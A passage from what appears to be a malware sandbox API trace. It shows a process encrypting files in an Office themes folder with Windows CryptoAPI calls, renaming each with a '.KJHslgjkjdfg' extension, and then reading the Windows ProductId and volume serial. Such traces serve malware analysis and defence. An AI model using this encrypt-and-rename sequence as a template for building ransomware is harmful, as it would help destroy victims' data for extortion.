dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.653] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.653] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1a537, lpOverlapped=0x0) returned 1 [0171.656] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1a540, dwBufLen=0x1a540 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1a540) returned 1 [0171.657] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.657] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a540, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1a540, lpOverlapped=0x0) returned 1 [0171.657] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.658] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1a604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.658] SetEndOfFile (hFile=0x12c) returned 1 [0171.661] GetProcessHeap () returned 0x990000 [0171.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.661] GetProcessHeap () returned 0x990000 [0171.661] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.kjhslgjkjdfg")) returned 1 [0171.662] CloseHandle (hObject=0x12c) returned 1 [0171.662] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0171.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.664] GetProcessHeap () returned 0x990000 [0171.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.665] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.665] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.665] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0171.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.668] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.668] GetProcessHeap () returned 0x990000 [0171.668] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0171.668] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0171.668] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0171.668] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.668] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.668] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.668] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.669] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.669] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.669] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.669] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1c2, lpOverlapped=0x0) returned 1 [0171.669] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1d0) returned 1 [0171.669] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.669] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1d0, lpOverlapped=0x0) returned 1 [0171.669] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.669] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.669] SetEndOfFile (hFile=0x12c) returned 1 [0171.673] GetProcessHeap () returned 0x990000 [0171.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0171.673] GetProcessHeap () returned 0x990000 [0171.673] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.kjhslgjkjdfg")) returned 1 [0171.684] CloseHandle (hObject=0x12c) returned 1 [0171.684] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.688] GetProcessHeap () returned 0x990000 [0171.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.688] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.688] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.688] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0171.691] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.691] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.691] GetProcessHeap () returned 0x990000 [0171.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.691] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.691] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.691] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.691] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.691] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.691] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.691] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.692] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.692] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.692] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.692] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xaa2, lpOverlapped=0x0) returned 1 [0171.692] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xab0, dwBufLen=0xab0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xab0) returned 1 [0171.692] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.692] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xab0, lpOverlapped=0x0) returned 1 [0171.692] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.692] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.692] SetEndOfFile (hFile=0x12c) returned 1 [0171.695] GetProcessHeap () returned 0x990000 [0171.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.695] GetProcessHeap () returned 0x990000 [0171.695] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.698] CloseHandle (hObject=0x12c) returned 1 [0171.698] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0171.699] GetProcessHeap () returned 0x990000 [0171.699] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.699] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.699] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.701] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.701] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.701] GetProcessHeap () returned 0x990000 [0171.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.701] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.701] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.701] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.701] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.702] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.702] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.702] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.702] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.702] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xa90c, lpOverlapped=0x0) returned 1 [0171.703] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa910, dwBufLen=0xa910 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xa910) returned 1 [0171.704] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.704] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xa910, lpOverlapped=0x0) returned 1 [0171.704] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.704] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xa9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.704] SetEndOfFile (hFile=0x12c) returned 1 [0171.706] GetProcessHeap () returned 0x990000 [0171.706] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.706] GetProcessHeap () returned 0x990000 [0171.707] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.710] CloseHandle (hObject=0x12c) returned 1 [0171.710] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.710] GetProcessHeap () returned 0x990000 [0171.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.710] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0171.710] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.710] GetProcessHeap () returned 0x990000 [0171.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.710] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.710] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0171.710] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.711] GetProcessHeap () returned 0x990000 [0171.711] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.711] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0171.711] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.711] GetProcessHeap () returned 0x990000 [0171.711] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.711] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0171.711] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.711] GetProcessHeap () returned 0x990000 [0171.711] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.711] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.711] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0171.711] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0171.711] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0171.711] RegCloseKey (hKey=0x12c) returned 0x0 [0171.711] GetProcessHeap () returned 0x990000 [0171.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.711] GetProcessHeap () returned 0x990000 [0171.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.712] GetProcessHeap () returned 0x990000 [0171.712] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.712] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0171.712] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0171.712] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.712] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.712] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, 